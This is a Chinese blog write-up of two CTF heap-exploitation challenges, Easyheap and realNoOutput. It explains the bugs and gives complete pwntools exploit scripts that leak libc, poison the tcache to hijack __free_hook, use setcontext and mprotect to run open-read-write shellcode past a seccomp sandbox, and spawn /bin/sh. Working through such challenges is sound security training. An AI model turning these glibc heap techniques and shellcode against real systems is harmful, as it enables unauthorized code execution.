前言 之前写了一半的ret2dl的博客还没写完,本来准备边写边学。后面发现涉及的东西有些多,所以还是准备彻底理解了再接着写。最近打了安恒的比赛,这里记录和复现一下这场比赛的pwn。
Easyheap 题目分析 我们先分析一下题目,开始看到main函数开始有一些做初始化的函数,可以看到题目开了沙盒,我们来查看一下
sudo seccomp-tools dump ./Easyheap
可以看到我们是不可以执行execve的,那么就只能使用orw来读取我们的flag了
我们接着分析几个函数
发现add这里存在漏洞,strdup只会根据你输入的长度来确定malloc的大小和nbytes无关,heap_size的大小只和我们输入的大小nbytes有关,而heap_addr指向的堆是由strdup申请来的,其大小和我们输入的字符串长度有关。
show函数没有什么特殊的,先查看heap里是否有
delete也一样没有什么特殊的,清空了指针
edit这里有add函数伏笔回收,如果我们在add时输入的长度大于我们输入字符串长度 ,这里我们就可以overwrite
脚本编写 要想泄露libc的地址我们需要先将chunk放入unsortedbin,题目的libc版本是Ubuntu GLIBC 2.27-3ubuntu1.4 所以我们需要先填满tcache ,然后提前申请好两个chunk,将后面的chunk放入unsorted_bin,通过上面heap的overwrite,来查看libc相对偏移。
for i in range (7 ): add(0x90 ,'a' *0x90 ) add(0x500 ,b'a' *0x10 ) add(0x90 ,b'b' *0x90 ) add(0x10 ,b'interval' ) for i in range (7 ): dele(i) dele(8 ) edit(7 ,b'a' *0x20 ) show(7 ) un_addr=u64(ru(io,'\x7f' )[-6 :].ljust(8 ,'\x00' )) success('un_addr : ' +hex (un_addr))
得到我们的libc
将我们可能需要的偏移全部计算出来
libc.address=un_addr-0x3ebca0 success('libc.address : ' +hex (libc.address)) malloc_hook=libc.sym['__malloc_hook' ] success('malloc_hook : ' +hex (malloc_hook)) free_hook=libc.sym['__free_hook' ] success('free_hook : ' +hex (free_hook)) system_addr=libc.sym['system' ] set_context=libc.sym['setcontext' ]
恢复之前overwrite的chunk,否侧无法从中申请到后面的chunk
payload=b'a' *0x10 +p64(0 )+p64(0xa1 ) edit(7 ,payload)
我们知道了libc之后现在就可以去劫持hook 了,我们将之前释放的chunk切割一块出来,再将其放入tcache。接下来再次通过overwrite来劫持free_hook ,这样free_hook就被放在tcache的链表。
add(0x10 ,'aaaa' ) dele(0 ) payload=b'a' *0x10 +p64(0 )+p64(0x21 )+p64(free_hook) edit(7 ,payload) add(0x500 ,'aaaa' ) add(0x500 ,'free' )
成功劫持free_hook之后,由于这里开了沙盒所以需要我们做orw ,首先我们需要一块可以调用写shellocde的地方,所以需要调用mprotect函数 ,在free_hook这一页添加可执行权限,而做到这个需要采用setcontent ,我们将free_hook,改写为setcontent,这样我们调用free函数就会调用setcontent。
new_addr = free_hook &0xFFFFFFFFFFFFF000 shellcode1 = ''' xor rdi, rdi mov rsi, {} mov rdx, 0x1000 mov rax, 0 syscall jmp rsi ''' .format (new_addr)edit(1 ,p64(set_context+53 )+p64(free_hook+0x18 )*2 +asm(shellcode1))
我们再将我们接下来要free的chunk内填上我们需要的值:
将rsp赋值为我们之前布置好的free_hook+0x18,其指向shellcode,这样setcontent执行完就会跳转到我们的shellcode
其他的rdi,rsi,rdx,rip,都是为了改写free_hook对应页的权限。
frame = SigreturnFrame() frame.rsp = free_hook+0x10 frame.rdi = new_addr frame.rsi = 0x1000 frame.rdx = 7 frame.rip = libc.sym['mprotect' ] edit(0 ,str (frame))
接下来当setcontent执行完,指针会跳转到我们free_hook附近写下的shellcode中,shellcode会调用read函数 ,会在我们free_hook页让我们写入shellocode并跳转执行。我们写入一个标准的orw即可。这一部分比较模板化,可以记录下来,以后稍加改造就可以再次使用。
dele(0 ) sleep(0.5 ) shellcode2 = ''' mov rax, 0x67616c662f ;// /flag push rax mov rdi, rsp ;// /flag mov rsi, 0 ;// O_RDONLY xor rdx, rdx ; mov rax, 2 ;// SYS_open syscall mov rdi, rax ;// fd mov rsi,rsp ; mov rdx, 1024 ;// nbytes mov rax,0 ;// SYS_read syscall mov rdi, 1 ;// fd mov rsi, rsp ;// buf mov rdx, rax ;// count mov rax, 1 ;// SYS_write syscall mov rdi, 0 ;// error_code mov rax, 60 syscall ''' sl(io,asm(shellcode2))
完整exp:
from pwn import *context.log_level = "debug" context.arch = 'amd64' context.binary = elf = ELF("./Easyheap" ) one_gadget=[0x4f3d5 ,0x4f432 ,0x10a41c ] libc=ELF('./libc-2.27.so' ) ru = lambda p, x : p.recvuntil(x) sn = lambda p, x : p.send(x) rl = lambda p : p.recvline() sl = lambda p, x : p.sendline(x) rv = lambda p, x=1024 : p.recv(numb = x) sa = lambda p, a, b : p.sendafter(a,b) sla = lambda p, a, b : p.sendlineafter(a,b) rr = lambda p, t : p.recvrepeat(t) rd = lambda p, x : p.recvuntil(x, drop=True ) def add (fake_size,cont ): sla(io,'>> :' ,'1' ) sla(io,'Size:' ,str (fake_size)) sa(io,'Content:' ,cont) def dele (idx ): sla(io,'>> :' ,'2' ) sla(io,'Index:' ,str (idx)) def show (idx ): sla(io,'>> :' ,'3' ) sla(io,'Index:' ,str (idx)) def edit (idx,cont ): sla(io,'>> :' ,'4' ) sla(io,'Index:' ,str (idx)) sa(io,'Content:' ,cont) def pwn (): for i in range (7 ): add(0x90 ,b'a' *0x90 ) add(0x500 ,b'a' *0x10 ) add(0x90 ,b'b' *0x90 ) add(0x10 ,b'interval' ) for i in range (7 ): dele(i) dele(8 ) edit(7 ,b'a' *0x20 ) show(7 ) un_addr=u64(ru(io,'\x7f' )[-6 :].ljust(8 ,'\x00' )) success('un_addr : ' +hex (un_addr)) libc.address=un_addr-0x3ebca0 success('libc.address : ' +hex (libc.address)) malloc_hook=libc.sym['__malloc_hook' ] success('malloc_hook : ' +hex (malloc_hook)) free_hook=libc.sym['__free_hook' ] success('free_hook : ' +hex (free_hook)) system_addr=libc.sym['system' ] set_context=libc.sym['setcontext' ] pause() payload=b'a' *0x10 +p64(0 )+p64(0xa1 ) edit(7 ,payload) add(0x10 ,'aaaa' ) dele(0 ) payload=b'a' *0x10 +p64(0 )+p64(0x21 )+p64(free_hook) edit(7 ,payload) add(0x500 ,'aaaa' ) add(0x500 ,'free' ) new_addr = free_hook &0xFFFFFFFFFFFFF000 shellcode1 = ''' xor rdi, rdi mov rsi, {} mov rdx, 0x1000 mov rax, 0 syscall jmp rsi ''' .format (new_addr) edit(1 ,p64(set_context+53 )+p64(free_hook+0x18 )*2 +asm(shellcode1)) frame = SigreturnFrame() frame.rsp = free_hook+0x10 frame.rdi = new_addr frame.rsi = 0x1000 frame.rdx = 7 frame.rip = libc.sym['mprotect' ] edit(0 ,str (frame)) dele(0 ) sleep(0.5 ) shellcode2 = ''' mov rax, 0x67616c662f ;// /flag push rax mov rdi, rsp ;// /flag mov rsi, 0 ;// O_RDONLY xor rdx, rdx ; mov rax, 2 ;// SYS_open syscall mov rdi, rax ;// fd mov rsi,rsp ; mov rdx, 1024 ;// nbytes mov rax,0 ;// SYS_read syscall mov rdi, 1 ;// fd mov rsi, rsp ;// buf mov rdx, rax ;// count mov rax, 1 ;// SYS_write syscall mov rdi, 0 ;// error_code mov rax, 60 syscall ''' sl(io,asm(shellcode2)) io.interactive() if __name__ == "__main__" : while True : io=remote('node4.buuoj.cn' ,27832 ) try : pwn() except : io.close()
realNoOutput 题目分析
这里我们可以看到,idx的范围是0-9,一共10个chunk ,我们看看它的size数组和addr数组
发现其size数组大小为8 ,说明数组size大小有问题。
我们可以看到上图edit函数里如果不执行if函数仍然可以借助栈里残留的值来进行赋值,从而实现uaf
脚本编写 我们先来泄露其libc,由于chunk申请出来的时候没有清理内存,所以我们可以将放在unsorted_bin中的chunk申请出来,得到libc基地址。先填满tcache
for i in range (8 ): add(i,0x100 ,b'' ) for i in range (8 ): dele(7 -i) add(7 ,0x10 ,b'aaaaaaa' ) show(7 ) gdb.attach(io) un_addr=u64(ru(io,'\x7f' )[-6 :].ljust(8 ,'\x00' )) success('un_addr : ' +hex (un_addr)) libc.address=un_addr-0x1ebce0 success('libc_base : ' +hex (libc.address))
再泄露一些我们需要的函数地址
system=libc.sym['system' ] success('system : ' +hex (system)) free_hook=libc.sym['__free_hook' ] success('free_hook : ' +hex (free_hook))
接下来需要的就是劫持free_hook来获取shell
add(1 ,0x10 ,'aaaa' ) add(2 ,0x10 ,'aaaa' ) add(3 ,0x10 ,'/bin/sh\x00' ) add(8 ,0x10 ,'aaaa' )
chunk1和2是为了填充tcache,chunk3是为了后面劫持free_hook到system作为参数使用的。
至于chunk8是为了将chunk0的heap_addr赋值,由于数组越界,我们的chunk8的size会作为chunk0的地址使用。
接下来我们就要劫持free_hook了,先将free_hook放在tcache的链表上
dele(1 ) dele(2 ) edit(0 ,p64(free_hook))
这里edit的地址并不是chunk0的而是已经被free的chunk2遗留在栈上的,所以这里构造了一个uaf。
剩下的事情就简单了我们将free_hook申请出来,将其修改为system的地址,然后delete之前准备好写有”/bin/sh\x00”的堆块,即可拿取shell。
add(1 ,0x10 ,'aaaa' ) add(2 ,0x10 ,p64(system)) dele(3 )
完整exp:
from pwn import *context.log_level = "debug" context.arch = 'amd64' context.binary = elf = ELF("./realNoOutput" ) libc=ELF('./libc.so.6' ) io=process('./realNoOutput' ) ru = lambda p, x : p.recvuntil(x) sn = lambda p, x : p.send(x) rl = lambda p : p.recvline() sl = lambda p, x : p.sendline(x) rv = lambda p, x=1024 : p.recv(numb = x) sa = lambda p, a, b : p.sendafter(a,b) sla = lambda p, a, b : p.sendlineafter(a,b) rr = lambda p, t : p.recvrepeat(t) rd = lambda p, x : p.recvuntil(x, drop=True ) def add (idx,size,cont ): sleep(0.2 ) sl(io,'1' ) sleep(0.2 ) sl(io,str (idx)) sleep(0.2 ) sl(io,str (size)) sleep(0.2 ) sl(io,cont) def dele (idx ): sleep(0.2 ) sl(io,'2' ) sleep(0.2 ) sl(io,str (idx)) def edit (idx,cont ): sleep(0.2 ) sl(io,'3' ) sleep(0.2 ) sl(io,str (idx)) sleep(0.2 ) sl(io,cont) def show (idx ): sleep(0.2 ) sl(io,'4' ) sleep(0.2 ) sl(io,str (idx)) for i in range (8 ): add(i,0x100 ,b'' ) for i in range (8 ): dele(7 -i) add(7 ,0x10 ,b'aaaaaaa' ) show(7 ) un_addr=u64(ru(io,'\x7f' )[-6 :].ljust(8 ,'\x00' )) success('un_addr : ' +hex (un_addr)) libc.address=un_addr-0x1ebce0 success('libc_base : ' +hex (libc.address)) system=libc.sym['system' ] success('system : ' +hex (system)) free_hook=libc.sym['__free_hook' ] success('free_hook : ' +hex (free_hook)) add(1 ,0x10 ,'aaaa' ) add(2 ,0x10 ,'aaaa' ) add(3 ,0x10 ,'/bin/sh\x00' ) add(8 ,0x10 ,'aaaa' ) dele(1 ) dele(2 ) edit(0 ,p64(free_hook)) add(1 ,0x10 ,'aaaa' ) add(2 ,0x10 ,p64(system)) dele(3 ) io.interactive()